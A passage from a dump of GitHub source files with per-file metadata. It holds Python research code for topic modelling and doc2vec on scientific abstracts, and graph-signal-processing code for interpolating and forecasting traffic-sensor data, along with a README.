abstracts]\n\ndef remove_numeric_tokens(string):\n return re.sub(r'\\d+[^\\w|-]+', ' ', string)\n\nvectorizer = TfidfVectorizer(analyzer=\"word\",\n tokenizer=None,\n preprocessor=remove_numeric_tokens,\n stop_words='english',\n lowercase=True,\n ngram_range=(1, 2),\n min_df=1,\n max_df=1, # quizas probar con 0.8 x ahi\n token_pattern=r\"(?u)\\b[\\w][\\w|-]+\\b\",\n max_features=155000)\nanalyzer = vectorizer.build_analyzer()\n\nreview_lists = [analyzer(w) for w in clean_train_reviews]\n\n\n\n# Download the punkt tokenizer for sentence splitting\nimport nltk.data\n# Load the punkt tokenizer\ntokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\n\n\n# Define a function to split a review into parsed sentences\ndef review_to_sentences( review, tokenizer, remove_stopwords=True ):\n # Function to split a review into parsed sentences. Returns a\n # list of sentences, where each sentence is a list of words\n #\n # 1. Use the NLTK tokenizer to split the paragraph into sentences\n raw_sentences = tokenizer.tokenize(review.strip())\n #\n # 2. Loop over each sentence\n sentences = []\n for raw_sentence in raw_sentences:\n # If a sentence is empty, skip it\n if len(raw_sentence) > 0:\n # Otherwise, call review_to_wordlist to get a list of words\n sentences.append( )\n #\n # Return the list of sentences (each sentence is a list of words,\n # so this returns a list of lists\n return sentences\n\nsentences = [] # Initialize an empty list of sentences\n\nprint \"Parsing sentences from training set\"\nfor review in clean_train_reviews:\n sentences += review_to_sentences(review, tokenizer)\n\n\n# Import the built-in logging module and configure it so that Word2Vec\n# creates nice output messages\nimport logging\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s',\n level=logging.INFO)\n\n# Set values for various parameters\nnum_features = 400 # Word vector dimensionality\nmin_word_count = 1 # Minimum word count\nnum_workers = 4 # Number of threads to run in parallel\ncontext = 20 # Context window size\ndownsampling = 1e-3 # Downsample setting for frequent words\n\n# Initialize and train the model (this will take some time)\nfrom gensim.models import word2vec\nprint \"Training model...\"\n\n# bigram_transformer = gensim.models.Phrases(sentences)\n# >>> model = Word2Vec(bigram_transformer[sentences], size=100, ...)\n\nmodel = word2vec.Word2Vec(sentences, workers=num_workers,\n size=num_features, min_count = min_word_count,\n window = context, sample = downsampling, batch_words = 1000)\n\n# If you don't plan to train the model any further, calling\n# init_sims will make the model much more memory-efficient.\nmodel.init_sims(replace=True)\n\n# It can be helpful to create a meaningful model name and\n# save the model for later use. You can load it later using Word2Vec.load()\nmodel_name = \"400features_2minwords_20context\"\nmodel.save(model_name)\n\nprint model.doesnt_match(\"man woman child kitchen\".split())\nprint model.doesnt_match(\"france england germany berlin\".split())\nprint model.most_similar(\"prawn\", topn=10)" }, { "alpha_fraction": 0.6354748606681824, "alphanum_fraction": 0.6481378078460693, "avg_line_length": 33.64516067504883, "blob_id": "57151b0288152a12bb19ef18488446e78d05895c", "content_id": "018e80fd1631126667e2c95990eff02f0e0f353d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10740, "license_type": "no_license", "max_line_length": 131, "num_lines": 310, "path": "/docs.py", "repo_name": "rafunchik/shrimps", "src_encoding": "UTF-8", "text": "# coding=utf-8\nfrom __future__ import print_function\nimport codecs\nimport os\nimport re\nfrom gensim import corpora, matutils\nfrom abstract import Abstract\nimport numpy\n\n__author__ = 'rcastro'\n\nfrom gensim.models import LdaModel, LsiModel, HdpModel\n\n# model = Word2Vec.load_word2vec_format(\"/Users/rcastro/nltk_data/word2vec_models/GoogleNews-vectors-negative300.bin\", binary=True)\n# print(model.most_similar('Crayfish', topn=5))\n\nimport logging\n\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\nprint(\"get the abstracts\")\ntext = ''\nclean_abstracts_filename = 'clean_abstracts.txt'\nif not os.path.isfile(clean_abstracts_filename):\n try:\n with codecs.open('abstracts.txt', 'r', encoding='utf8') as abstracts_file:\n text = abstracts_file.read().strip()\n except IOError as e:\n print('Operation failed: %s' % e.strerror)\nelse:\n pass # serialize the clean abstracts\n\nabstracts = [Abstract(x) for x in text.split(\"\\r\\n\\r\\n\")]\n\nnum_abstracts = len(abstracts)\nclean_abstracts = [x.text for x in abstracts]\n\n\n# stops = set(stopwords.words(\"english\"))\n#\n# def get_tokens_list(my_text):\n# words = [w for w in nltk.word_tokenize(my_text) if not w in stops]\n# return words + [' '.join(x) for x in nltk.bigrams(words)]\n\n\ndef remove_numeric_tokens(string):\n return re.sub(r'\\d+[^\\w|-]+', ' ', string)\n\n\n# Initialize the \"CountVectorizer\" object, which is scikit-learn's\n# bag of words tool.\n# vectorizer = CountVectorizer(analyzer=\"word\",\n# tokenizer=None,\n# preprocessor=remove_numeric_tokens,\n# stop_words='english',\n# lowercase=True,\n# ngram_range=(1, 2),\n# min_df=0,\n# max_df=1.0, # quizas probar con 0.8 x ahi\n# token_pattern=r\"(?u)\\b[\\w][\\w|-]+\\b\",\n# max_features=155000)\n# analyzer = vectorizer.build_analyzer()\n#\n# abstract_vectors = [analyzer(w) for w in clean_abstracts]\n# TfidfTransformer() ->\n\n\n#\n# for i in xrange( 0, num_abstracts ):\n# # If the index is evenly divisible by 1000, print a message\n# if( (i+1)%1000 == 0 ):\n# print \"Review %d of %d\\n\" % ( i+1, num_abstracts )\n# clean_abstracts.append( texts[i]) #review_to_words( texts[i] ))\n\n\n\n\n# fit_transform() does two functions: First, it fits the model\n# and learns the vocabulary; second, it transforms our training data\n# into feature vectors. The input to fit_transform should be a list of\n# strings.\n# train_data_features = vectorizer.fit_transform(clean_abstracts)\n#\n# # Numpy arrays are easy to work with, so convert the result to an\n# # array\n# train_data_features = train_data_features.toarray()\n# # Sum up the counts of each vocabulary word\n# dist = np.sum(train_data_features, axis=0)\n#\n# # Take a look at the words in the vocabulary\n# vocab = vectorizer.get_feature_names()\n\n\n# For each, print the vocabulary word and the number of times it\n# appears in the training set\n# for tag, count in zip(vocab, dist):\n# print count, tag\n\n\n# print \"Training the random forest...\"\n# from sklearn.ensemble import RandomForestClassifier\n\n# Initialize a Random Forest classifier with 100 trees\n# forest = RandomForestClassifier(n_estimators = 100)\n\n# Fit the forest to the training set, using the bag of words as\n# features and the sentiment labels as the response variable\n#\n# This may take a few minutes to run\n# forest = forest.fit( train_data_features, train[\"sentiment\"] )\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n\"\"\"\nAqui vectorizamos el texto de los articulos usando TF/IDF quitando primero los tokens que son solo numericos,\ny las stopwords en ingles.\nSelecciona casi todos los unigramas y los bigramas de dos caracteres (donde el segundo caracter puede ser -) al menos\n(en minusculas).\n\"\"\"\nvectorizer = TfidfVectorizer(analyzer=\"word\",\n tokenizer=None,\n preprocessor=remove_numeric_tokens,\n stop_words='english',\n lowercase=True,\n ngram_range=(1, 2),\n min_df=1,\n max_df=1.0, # se puede disminuir el umbral para ignorar terminos que aparecen en muchos docs\n token_pattern=r\"(?u)\\b[\\w][\\w|-]+\\b\",\n max_features=155000)\nanalyzer = vectorizer.build_analyzer()\n\nabstract_vectors = [analyzer(w) for w in clean_abstracts]\n\ntfidf_matrix = vectorizer.fit_transform(clean_abstracts)\nterms = vectorizer.get_feature_names() # todos los terminos (unigramas y bigramas)\n# dictionary = corpora.Dictionary(clean_abstracts)\n#\n#\n# from sklearn.metrics.pairwise import cosine_similarity\n#\n# dist = 1 - cosine_similarity(tfidf_matrix)\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.externals import joblib\n\nnum_clusters = 5 # numero predefinido de clusters, hay que probar en un rango\nif not os.path.isfile('doc_cluster.pkl'): # carga del disco si lo corriste ya una vez, comentalo si lo quieres reescribir\n km = KMeans(n_clusters=num_clusters) # kmeans usando cosine distance, agrupa los abstracts similares\n km.fit(tfidf_matrix)\n joblib.dump(km, 'doc_cluster.pkl')\nelse:\n km = joblib.load('doc_cluster.pkl')\n\nclusters = km.labels_.tolist()\n\nimport pandas as pd\n\narticle_titles = {'title': [x.title for x in abstracts], 'cluster': clusters}\n\nframe = pd.DataFrame(article_titles, index=[clusters], columns=['title', 'cluster'])\n\nprint(frame['cluster'].value_counts())\n\nprint(\"Top terms per cluster:\")\n# sort cluster centers by proximity to centroid (usando cosine distance)\norder_centroids = km.cluster_centers_.argsort()[:, ::-1]\n\nfor i in range(num_clusters):\n print(\"Cluster %d words:\" % i)\n for ind in order_centroids[i, :7]: # replace 5 with n words per cluster\n print(' %s' % terms[ind].encode('utf-8', 'ignore')) # las 7 palabras mas representativas de cada cluster\n\n #\n # print( \"Cluster %d titles:\" % i)\n # for title in frame.ix[i]['title'].values.tolist()[:5]:\n # print (' %s,' % title)\n\n\n\n\n# create a Gensim dictionary from the texts\ndictionary = corpora.Dictionary(abstract_vectors)\n\n# remove extremes (similar to the min/max df step used when creating the tf-idf matrix)\ndictionary.filter_extremes(no_below=1, no_above=0.8) # filtra los terminos mas comunes\n#\n\ncorpus_filename = 'deerwester.mm'\nif not os.path.isfile(corpus_filename):\n # convert the dictionary to a bag of words corpus for reference\n corpus = [dictionary.doc2bow(review) for review in abstract_vectors]\n corpora.MmCorpus.serialize(corpus_filename, corpus)\nelse:\n corpus = corpora.MmCorpus(corpus_filename)\n\n\n\n# vamos a utilizar Latent semantic indexing para tratar categorizar los abstracts\n\nprint(\"lsi\")\nlsi_filename = 'model.lsi'\nif not os.path.isfile(lsi_filename):\n lsi = LsiModel(corpus, id2word=dictionary, num_topics=5) # initialize an LSI transformation, 5 topicos\n #\n lsi.save(lsi_filename) # same for tfidf, lda, ...\nelse:\n lsi = LsiModel.load(lsi_filename)\n\nlsi_topics = 5 # numero predefinido de topicos\ndef print_topic(lsi, topicno, topn=7):\n \"\"\"\n Return a single topic as a formatted string. See `show_topic()` for parameters.\n\n >>> lsimodel.print_topic(topicno, topn)\n '-0.340 * \"category\" + 0.298 * \"$M$\" + 0.183 * \"algebra\" + -0.174 * \"functor\" + -0.168 * \"operator\"'\n\n \"\"\"\n return ' + '.join(['%.3f*\"%s\"' % (v, k) for k, v in show_topic(lsi, topicno, topn)])\n\n\ndef show_topic(lsi, topicno, topn=7):\n \"\"\"\n Return a specified topic (=left singular vector), 0 <= `topicno` < `self.num_topics`,\n as a string.\n\n Return only the `topn` words which contribute the most to the direction\n of the topic (both negative and positive).\n\n >>> lsimodel.show_topic(topicno, topn)\n [(\"category\", -0.340), (\"$M$\", 0.298), (\"algebra\", 0.183), (\"functor\", -0.174), (\"operator\", -0.168)]\n\n \"\"\"\n # size of the projection matrix can actually be smaller than `self.num_topics`,\n # if there were not enough factors (real rank of input matrix smaller than\n # `self.num_topics`). in that case, return an empty string\n if topicno >= len(lsi.projection.u.T):\n return ''\n c = numpy.asarray(lsi.projection.u.T[topicno, :]).flatten()\n norm = numpy.sqrt(numpy.sum(numpy.dot(c, c)))\n most = matutils.argsort(numpy.abs(c), topn, reverse=True)\n return [(lsi.id2word[val], 1.0 * c[val] / norm) for val in most]\n\n\ndef show_topics(num_topics=lsi_topics, num_words=7, log=True, formatted=True, lsi=None):\n \"\"\"\n Return `num_topics` most significant topics (return all by default).\n For each topic, show `num_words` most significant words (7 words by default).\n\n The topics are returned as a list -- a list of strings if `formatted` is\n True, or a list of `(word, probability)` 2-tuples if False.\n\n If `log` is True, also output this result to log.\n\n \"\"\"\n shown = []\n for i in xrange(min(num_topics, lsi.num_topics)):\n if i < len(lsi.projection.s):\n if formatted:\n topic = print_topic(lsi, i, topn=num_words)\n else:\n topic = lsi.show_topic(i, topn=num_words)\n shown.append((i, topic))\n if log:\n print(\"topic #%i(%.3f): %s\", i, lsi.projection.s[i], topic)\n return shown\n\n\nshow_topics(lsi=lsi) # imprime los topicos (categorias)\n\n\n# try with BoW vectors too?\n\n\n\n# vamos a utilizar Latent Dirichlet Allocation para tratar de categorizar los abstracts\n# este se demora la primera q lo corres para entrenar el modelo\nprint(\"lda\")\nlda_filename = 'model.lda'\nif not os.path.isfile(lda_filename):\n lda = LdaModel(corpus, num_topics=5,\n id2word=dictionary,\n update_every=5,\n chunksize=10000,\n passes=100)\n lda.save('/tmp/model.lda')\nelse:\n lda = LdaModel.load('/tmp/model.lda')\nlda.show_topics()\ntopics_matrix = lda.show_topics(formatted=False, num_words=7)\n\nprint(topics_matrix)\nprint(len(topics_matrix))\n\nfor topic in topics_matrix:\n i = topic[1]\n print([str(word) for word in i])\n#\n# topics_matrix = np.array(topics_matrix)\n#\n# topic_words = topics_matrix[:, :, 1]\n# for i in topic_words:\n# print([str(word) for word in i])\n\n\n# otro modelo mas para categorizar documentos, Hierarchical Dirichlet Process\nprint(\"HDP\")\nmodel = HdpModel(corpus, id2word=dictionary)\nmodel.show_topics(log=True, topics=5)\n\n# ver https://radimrehurek.com/gensim/tut2.html\n" }, { "alpha_fraction": 0.6515653133392334, "alphanum_fraction": 0.6714328527450562, "avg_line_length": 36.96571350097656, "blob_id": "42c147b80b217751ac242c8a30d24b38c2b5ade4", "content_id": "77cc56e8e28cbb1720d50c389640fd84b26e63aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6652, "license_type": "no_license", "max_line_length": 166, "num_lines": 175, "path": "/doc2vec.py", "repo_name": "rafunchik/shrimps", "src_encoding": "UTF-8", "text": "# coding=utf-8\nimport os\nimport re\nimport numpy as np\nfrom abstract import Abstract\n\n__author__ = 'rcastro'\n\nfrom gensim.models import Doc2Vec\nfrom gensim.models.doc2vec import TaggedLineDocument, TaggedDocument\nfrom codecs import open\n\n\ndef remove_numeric_tokens(string):\n return re.sub(r'\\d+[^\\w|-]+', ' ', string)\n\n\n# Convert text to lower-case and strip punctuation/symbols from words\ndef normalize_text(text):\n norm_text = text.lower()\n # control_chars = [chr(0x85)]\n # for c in control_chars:\n # norm_text = norm_text.replace(c, ' ') # Replace breaks with spaces\n # norm_text = norm_text.replace('<br />', ' ')\n\n # Pad punctuation with spaces on both sides\n for char in ['.', '\"', ',', '!', '?', ';', ':']:\n norm_text = norm_text.replace(char, ' ' + char + ' ')\n\n return norm_text\n\n\nsentences_keywords = []\ndocs_filename = 'abstracts_preprocesados.txt'\nif not os.path.isfile(docs_filename):\n print \"get the abstracts\"\n text = ''\n try:\n with open('abstracts.txt', 'r', encoding='utf8') as abstracts_file:\n text = abstracts_file.read().strip()\n except IOError as e:\n print 'no pudo leer los abstracts: %s' % e.strerror\n\n abstracts = [Abstract(x) for x in text.split(\"\\r\\n\\r\\n\")]\n for article in abstracts:\n sentences_keywords.append([normalize_text(remove_numeric_tokens(x)).strip() for x in article.keywords])\n with open(docs_filename, 'w', encoding='utf8') as f:\n for idx, line in enumerate([normalize_text(remove_numeric_tokens(x.text)) for x in abstracts]):\n f.write(line + '\\n')\n # # num_line = \"_*{0} {1}\\n\".format(idx, line)\n # # f.write(line+'\\n')\n\nsentences = TaggedLineDocument('abstracts_preprocesados.txt')\n# sentences = sentences_keywords\n\n\n# Vamos a utilizar Doc2vec, ver http://rare-technologies.com/doc2vec-tutorial/\n\nfrom gensim.models import Doc2Vec\nimport gensim.models.doc2vec\nfrom collections import OrderedDict\nimport multiprocessing\n\ncores = multiprocessing.cpu_count()\nassert gensim.models.doc2vec.FAST_VERSION > -1, \"this will be painfully slow otherwise\"\n\n# Set values for various parameters\nnum_features = 400 # Word vector dimensionality\n# min_word_count = 1 # Minimum word count\n# context = 20 # Context window size\n# downsampling = 1e-3 # Downsample setting for frequent words\n\n# 3 modelos diferentes con veectores de 50 variables\nsimple_models = [\n # PV-DM w/concatenation - window=10 (both sides) approximates paper's 10-word total window size\n Doc2Vec(dm=1, dm_concat=1, size=50, window=10, negative=10, hs=0, min_count=2, workers=cores),\n # PV-DBOW\n Doc2Vec(dm=0, size=50, negative=5, hs=0, min_count=2, workers=cores),\n # PV-DM w/average\n Doc2Vec(dm=1, dm_mean=1, size=50, window=10, negative=5, hs=0, min_count=2, workers=cores),\n]\n\n# 3 modelos diferentes con veectores de 400 variables\nsimple_models_400 = [\n # PV-DM w/concatenation - window=5 (both sides) approximates paper's 10-word total window size\n Doc2Vec(dm=1, dm_concat=1, size=num_features, window=10, negative=10, hs=0, min_count=2, workers=cores),\n # PV-DBOW\n Doc2Vec(dm=0, size=num_features, negative=5, hs=0, min_count=2, workers=cores),\n # PV-DM w/average\n Doc2Vec(dm=1, dm_mean=1, size=num_features, window=10, negative=5, hs=0, min_count=2, workers=cores),\n]\n\n# speed setup by sharing results of 1st model's vocabulary scan\nsimple_models[0].build_vocab(sentences) # PV-DM/concat requires one special NULL word so it serves as template\nprint(simple_models[0])\nfor model in simple_models[1:]:\n model.reset_from(simple_models[0])\n print(model)\n\n\nfor model in simple_models_400:\n model.reset_from(simple_models[0])\n print(model)\n\nall_models = simple_models+simple_models_400\nmodels_by_name = OrderedDict((str(model), model) for model in all_models)\n\n'''\nFollowing the paper, we also evaluate models in pairs. These wrappers return the concatenation of the vectors from each model. (Only the singular models are trained.)\nIn [5]:\nfrom gensim.test.test_doc2vec import ConcatenatedDoc2Vec\nmodels_by_name['dbow+dmm'] = ConcatenatedDoc2Vec([simple_models[1], simple_models[2]])\nmodels_by_name['dbow+dmc'] = ConcatenatedDoc2Vec([simple_models[1], simple_models[0]])\n'''\n\nfrom random import shuffle\nimport datetime\n\n# for timing\nfrom contextlib import contextmanager\nfrom timeit import default_timer\nimport random\n\n@contextmanager\ndef elapsed_timer():\n start = default_timer()\n elapser = lambda: default_timer() - start\n yield lambda: elapser()\n end = default_timer()\n elapser = lambda: end-start\n\npasses = 20\nprint(\"START %s\" % datetime.datetime.now())\n\nall_docs = []\nfor doc in sentences:\n all_docs.append(doc)\nfor epoch in range(passes):\n shuffle(all_docs) # shuffling gets best results\n\n# doc_id = np.random.randint(len(sentences)) #\ndoc_id = np.random.randint(simple_models[0].docvecs.count) # pick random doc, (escoge un abstract aleatorio y busca los mas simijantes)\n\nfor name, model in models_by_name.items()[:3]:\n with elapsed_timer() as elapsed:\n model.train(all_docs)\n # duration = '%.1f' % elapsed()\n # print (name, duration)\n sims = model.docvecs.most_similar(doc_id, topn=model.docvecs.count) # get *all* similar documents\n print(u'ABSTRACTS mas similares por modelo %s:\\n' % model)\n print(u'abstract escogido: «%s»\\n' % (' '.join(all_docs[doc_id].words)))\n print(u'y sus keywords: «%s»\\n' % (' '.join(sentences_keywords[doc_id])))\n for label, index in [('MOST', 0)]: #, ('MEDIAN', len(sims)//2), ('LEAST', len(sims) - 1)]:\n print(u'%s %s: «%s»\\n' % (label, sims[index][1], ' '.join(all_docs[sims[index][0]].words)))\n print(u'Keywords de los docs similares: «%s»\\n' % (' '.join(sentences_keywords[sims[index][0]])))\n\n\nword_models = all_models[:3]\n# while True:\n# word = random.choice(word_models[0].index2word)\n# if word_models[0].vocab[word].count > 10 and len(word)>3:\n# break\n\n# aqui puedes sustituir por una palabra, y ver que palabras similares te salen de acuerdo a los modelos...\nword = \"aquaculture\" #diadromous\nsimilars_per_model = [str(model.most_similar(word, topn=5)).replace('), ','),<br>\\n') for model in word_models]\nsimilar_table = (\"<table><tr><th>\" +\n \"</th><th>\".join([str(model) for model in word_models]) +\n \"</th></tr><tr><td>\" +\n \"</td><td>\".join(similars_per_model) +\n \"</td></tr></table>\")\nprint(\"most similar words for '%s' (%d occurences)\" % (word, simple_models[0].vocab[word].count))\nprint(similar_table)\n\n#TODO import wiki model and add to word_models\n" } ]
3
gabilew/Joint-Forecasting-and-Interpolation-of-GS
https://github.com/gabilew/Joint-Forecasting-and-Interpolation-of-GS
de26bd2127318b5aeb4531d38d92f816c149d211
f77848abe6d98bf6d0449b2bbe5f555a4a01452c
d148f7be48c35198e5f816f2e7a007ee5d8c5a96
refs/heads/master
2022-11-06T06:09:35.464252
2020-06-29T12:46:38
2020-06-29T12:46:38
259,336,164
4
1
null
null
null
null
null
[ { "alpha_fraction": 0.5553128719329834, "alphanum_fraction": 0.5618656277656555, "avg_line_length": 29.40234375, "blob_id": "814d4596d63ca3401083910d7d35ea90695cca32", "content_id": "39e509ceb50919907ede322c96b133d0104d4d8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7783, "license_type": "no_license", "max_line_length": 133, "num_lines": 256, "path": "/pytorch_gsp/utils/gsp.py", "repo_name": "gabilew/Joint-Forecasting-and-Interpolation-of-GS", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\nimport numpy as np\nfrom torch.autograd import Variable\nimport scipy\n\nfrom sklearn.metrics.pairwise import rbf_kernel\n\n\n\ndef complement(S,N):\n V = set(np.arange(0,N,1))\n return np.array(list(V-set(S)))\n\n\nclass Reconstruction(nn.Module):\n def __init__(self,V, sample, freqs, domain='vertex',use_original_set = False, device = 'cuda'):\n \"\"\"\n GSP reconstruction of Graph signals\n\n Args:\n V (numpy array): eigenvector matrix of Laplacian or adjacency. This matrix is expected to be orthonormal.\n sample (list-like): list of indices of in-sample nodes\n freqs (list): number of list of indices of \n domain (str, optional): [description]. domain of the graph signal. Options are vertex or spectral'. Defaults to 'vertex'.\n use_original_set (bool, optional): [description]. Defaults to False.\n \"\"\"\n\n super(Reconstruction, self).__init__()\n assert(domain in ['vertex','spectral'])\n if domain == 'vertex':\n\n interp = Interpolator(V, sample, freqs)\n elif domain == 'spectral':\n interp= Interpolator(V, sample, freqs, freq=True)\n \n \n self.Interp = torch.Tensor(interp).to(device)\n self.N = V.shape[0]\n\n if use_original_set:\n self.sample = sample\n else:\n self.sample = None\n\n def forward(self,x):\n x0 = x\n n_dim = len(x.size())\n if n_dim == 3:\n bz, seq_len, n = x.size()\n x = x.T\n \n x = x.reshape((n, bz*seq_len)) \n x = torch.matmul(self.Interp,x)\n x = x.reshape((self.N,seq_len,bz)).T \n\n else:\n bz, n = x.size()\n x = x.T\n \n x = x.reshape((n, bz)) \n x = torch.matmul(self.Interp,x)\n x = x.reshape((self.N,bz)).T \n \n return x\n \n\n\ndef corrMatrix(A, x): \n \"\"\"\n corrMatrix compute an adjacency matrix with radial basis function entries \n\n Args:\n A (2D numpy array): adjacency matrix\n x (2D numpy array): signals to be used to compute correlations\n\n Returns:\n 2D numpy array: adjacency matrix\n \"\"\"\n cor = rbf_kernel(x.T/10) \n \n A = cor*(A) \n \n e, _ = np.linalg.eigh(A)\n A/=np.max(e)\n return A-np.diag(A.diagonal())\n\n\n\ndef spectral_components(A, x, return_vectors = True,lap = True, norm = False):\n \"\"\"\n spectral_components: compute the index of spectral components with largest magnitude in a set of graph signals\n\n Args:\n A (2d numpy array): adjacency matrix\n x (2d numpy array): graph signals with time in the rows and nodes in the columns\n return_vectors (bool, optional): [description]. Defaults to True.\n lap (bool, optional): If it is the spectral components are computed using the laplacian. Defaults to True.\n norm (bool, optional): [description]. If the matrix should be normalized as $D^{-1/2}AD^{-1/2}$.\n\n Returns:\n [type]: [description]\n \"\"\"\n \n if lap:\n if norm:\n d = 1/np.sqrt(A.sum(axis=1))\n D=np.diag(d)\n I = np.diag(np.ones(A.shape[0]))\n L = I - D@A@D\n else:\n D = np.diag(A.sum(axis=1))\n L = D - A \n else:\n if norm:\n d = 1/np.sqrt(A.sum(axis=1))\n D=np.diag(d)\n I = np.diag(np.ones(A.shape[0]))\n L = D@A@D\n else: L = A\n lambdas, V = np.linalg.eigh(L) \n \n \n energy = np.abs(V.T@x.T).T\n index = []\n for y in energy:\n \n index.append(list(np.argsort(y)))\n \n ocorrencias = {i:0 for i in range(x.shape[1]) }\n for y in index:\n for i in y:\n ocorrencias[i]+= y.index(i)\n \n F_global= np.argsort([ocorrencias[oc] for oc in ocorrencias])[::-1]\n if return_vectors:\n return F_global, V\n else:\n return F_global\n\n\ndef Interpolator(V, sample, freqs, freq = False):\t\n \n Vf = V[:,freqs]\n Psi = np.zeros(Vf.shape[0])\n Psi[sample] = 1 #transpose of the sampling operator \\Psi\n Psi = np.diag(Psi) \n \n I = np.identity(Vf.shape[0])\n inv = scipy.linalg.inv(Vf.T@Psi@Vf)\n if freq == False:\n pseudoi = inv@Vf.T@Psi[:, sample]\n else:\n pseudoi = inv\n \n interp = np.dot(Vf, pseudoi)\n Psi_bar = I - Psi\n s = np.linalg.svd(np.dot(Psi_bar, Vf), compute_uv=False)\n if np.max(s)>1:\n print(\"Samling is not admissable\")\n return None\n \n return interp\n\n\n\nclass KNN(nn.Module):\n def __init__(self,A,sample, matrix):\n super(KNN,self).__init__()\n N = A.shape[0]\n self.unknown = complement(sample,N)\n self.mask = np.mean(matrix.values[:,sample])\n def forward(self, input):\n if len(input.size()) == 2:\n input[:,self.unknown] = self.mask\n elif len(input.size()) == 3:\n input[:,:,self.unknown] = self.mask\n elif len(input.size()) == 4:\n input[:,:,:,self.unknown] = self.mask\n x = input\n for node in self.unknown:\n neighbors = np.nonzero(A[node])[0]\n x[:,:,[node]] = torch.mean(x[:,:, neighbors], dim=-1)\n return x\n\n\n\n\ndef greedy_e_opt(Uf, S):\n \"\"\"\n code from https://github.com/georgosgeorgos/GraphSignalProcessing, please refer to this repository\n\n MIT License\n\n Copyright (c) 2018 Giorgio Giannone\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n greedy_e_opt: sample S nodes from a set of size N where N is the number of rows in matrix Uf\n \n Args:\n Uf (2D numpy array): truncated eigenvector matrix with N rows. Columns correspond to the selected eigenvectors\n S (int): sample size\n\n Returns:\n sample: list of indices of selected nodes\n \"\"\"\n index_set = set()\n sample=[]\n\n n = Uf.shape[0] - 1\n k = 0\n I = np.diag(np.ones(Uf.shape[0]))\n while len(index_set) < S:\n i = -1\n i_best = -1\n old_list = []\n sigma_best = np.inf\n while i < n:\n i = i + 1\n if i in index_set:\n continue\n else:\n Ds_list = np.zeros(Uf.shape[0])\n ix = sample + [i]\n Ds_list[ix] = 1\n\n Ds = np.diag(Ds_list)\n Ds_bar = I - Ds\n DU = np.dot(Ds_bar, Uf)\n s = np.linalg.svd(DU, compute_uv=False)\n sigma_max = max(s)\n\n if sigma_max < sigma_best and sigma_max != -np.inf:\n sigma_best = sigma_max\n i_best = i\n k = k + 1 \n index_set.add(i_best)\n sample.append(i_best)\n return sample\n" }, { "alpha_fraction": 0.7255594730377197, "alphanum_fraction": 0.7514722943305969, "avg_line_length": 39.42856979370117, "blob_id": "6c736b0f198e94aca2faef664fba033730327cd3", "content_id": "a6e6fc794f65ef7f7c0b0f1d9c4acb5cf422b3f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 849, "license_type": "no_license", "max_line_length": 175, "num_lines": 21, "path": "/README.md", "repo_name": "gabilew/Joint-Forecasting-and-Interpolation-of-GS", "src_encoding": "UTF-8", "text": "# Joint Forecasting and Interpolation of Graph Signals Using Deep Learning\n\n\n![image](https://github.com/gabilew/Spectral-Graph-GRU/blob/master/images/sggru.png)\n### Objective: \n* Given a sampled graph signal (i.e.: a low granularity sensor network), interpolate the graph signal to obtain the entire network and make temporal prediction simultaneously.\n### Dataset\n* Check out this [link](https://github.com/zhiyongc/Seattle-Loop-Data) for downloading the Seattle loop dataset\n* Move the dataset to data/Seattle_Loop_Dataset\n### Environment\n* Python 3.6.1 and PyTorch 1.4.0\n```\nconda install pytorch cudatoolkit=10.0 -c pytorch\n```\n* Installation: \n```\npython setup.py install\n```\nReference:\n\nLewenfus, G., Martins, W. A., Chatzinotas, S., & Ottersten, B. (2020). Joint Forecasting and Interpolation of Graph Signals Using Deep Learning. arXiv preprint arXiv:2006.01536.\n" }, { "alpha_fraction": 0.6173496246337891, "alphanum_fraction": 0.6577966809272766, "avg_line_length": 35.019229888916016, "blob_id": "725048f485d5e4670a47875de293610e9745496d", "content_id": "383ef8b92be10afe3ea02bc04d1b6cea81aa5684", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1879, "license_type": "no_license", "max_line_length": 111, "num_lines": 52, "path": "/data/Load_data.py", "repo_name": "gabilew/Joint-Forecasting-and-Interpolation-of-GS", "src_encoding": "UTF-8", "text": "import math\nimport sys\nimport time\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics.pairwise import rbf_kernel\n\n\n\ndef USA_data(directory ):\n \"\"\"\"TODO: include the GSOD dataset\"\"\"\n signals = pd.read_csv( directory + 'Usa_temp.csv')\n if \"Unnamed: 0\" in signals.columns:\n signals.drop(columns=\"Unnamed: 0\", inplace = True)\n A = np.load( directory + 'Adjk10_07-13.npy') \n\n return signals, A\n\n\ndef Seattle_data(directory , binary=False):\n \"\"\"\n Seattle_data: \n https://github.com/zhiyongc/Graph_Convolutional_LSTM/blob/master/Code_V2/HGC_LSTM%20%26%20Experiments.ipynb\n\n Args:\n directory (str): directory of the seattle loop detector dataset\n binary (bool, optional): I the matrix should be binary or the RBF kernel should\n be used on the . Defaults to False.\n\n Returns:\n speed_matrix: graph signals with time in the rows and nodes in the columns\n A: adjacency matrix\n 